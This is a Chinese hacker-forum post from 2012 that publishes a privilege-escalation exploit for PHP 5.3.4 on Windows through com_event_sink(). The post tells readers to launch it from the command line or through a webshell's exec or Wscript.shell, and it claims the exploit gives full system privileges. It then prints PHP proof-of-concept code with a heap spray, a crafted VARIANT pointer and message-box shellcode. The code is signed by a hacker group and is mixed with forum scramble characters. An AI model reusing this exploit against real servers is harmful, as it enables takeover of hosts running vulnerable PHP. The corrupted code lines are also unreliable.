找回密码
 立即注册
查看: 3088|回复: 0
打印 上一主题 下一主题

PHP 5.3.4(WIN) COM_SINK权限提升漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:08:13 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中
. _# t5 l% c1 B. u: V/ h9 B& N$ T9 r) t" P) x0 u5 l
测试方法如下:cmd /c x:\php\php.exe x:\test.php
8 Y1 G1 b3 _. E! o; W5 Y, D! [6 D" f9 l7 @, L" r9 [) @8 O% L
下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php
# ~. y( S& I9 ^9 B6 ]0 ^6 a这里是两个测试的截图:6 J/ `* i7 S( z/ K; D
8 a/ k8 f1 F+ P- C' a

2 u2 ?8 @6 s  n+ ^6 ~# G
; ^1 W2 H  e5 B6 o' ?) c- B$ O$ a

7 D: L, ^" y* O6 q. M. ?成功利用此漏洞的攻击者将获得系统的最高权限
2 B6 d! z! H$ Y& J0 f
) h- n, ?2 m. {; g  m; B( \& h) K  W6 o5 q' t% Y+ s) i
- Y9 ?. u5 H  L/ Q

5 u% L6 x8 Q' ~# u* c$ y4 n. F( S1 C; G& X
关于漏洞分析稍后附上。一下是PoC代码:8 }5 ^6 C1 S( S& X5 i8 m
; H# v8 r/ F9 E* }; ^# A8 i+ s
<?php$ \: D6 r5 Q, D( G% K. _
//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞  l& F+ W2 A% V
//$eip ="\x44\x43\x42\x41";
/ @4 m$ d# a* {0 c6 z: Q1 X$eip= "\x4b\xe8\x57\x78";* d2 h# ~% x4 o
$eax ="\x80\x01\x8d\x04";
; b! S  L* \6 E5 ]1 K! g/ A; t$deodrant="";
3 ~  H, p; n% r  h) |1 h( b, ?$axespray = str_repeat($eip.$eax,0x80);
& h; o; b2 A) E1 [# O; R//048d0190" B& U$ A/ r! P( X6 {0 e# v- l
echo strlen($axespray);
! r  ?' Z5 R# L- Techo "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";
+ e' h9 e* n) ^& E! j9 x8 \echo "Silic Group Hacker Army - BlackBap.Org";
2 y$ s. h" M1 g. c* Z7 z- X//19200 ==4B32 4b00& S, P) {) g2 @( r; I1 d2 Q, R
for($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}3 r! ^8 g2 g- T7 y) P5 d8 z4 z
$terminate = "T";" n: |1 D3 q% F& P
$u[] =$deodrant;; H* d5 Z  d  i. @
$r[] =$deodrant.$terminate;( T0 _5 i) `( w1 W
$a[] =$deodrant.$terminate;) ^/ w7 |3 g7 J) S3 k! j6 `+ Q
$s[] =$deodrant.$terminate;
/ Q) C& n7 K6 o8 G3 _, w//$vVar = new VARIANT(0x048d0038+$offset);        这里是可控可改的8 A0 x' p  h2 R! w' S  ]
$vVar = new VARIANT(0x048d0000+180);$ X+ W; L0 [2 C2 J& Z9 k0 R) b* ]
//弹窗代码(Shellcode)
0 }. s6 B- O1 ~1 \  l4 H6 u$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";! a6 w% P# p7 T* H& `) Z" w1 P; q& g4 ]
$var2 = new VARIANT(0x41414242);. `# L6 B5 S- N5 \
com_event_sink($vVar,$var2,$buffer);. Q* q* W( M" _
?>. B- w" X2 w) T

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表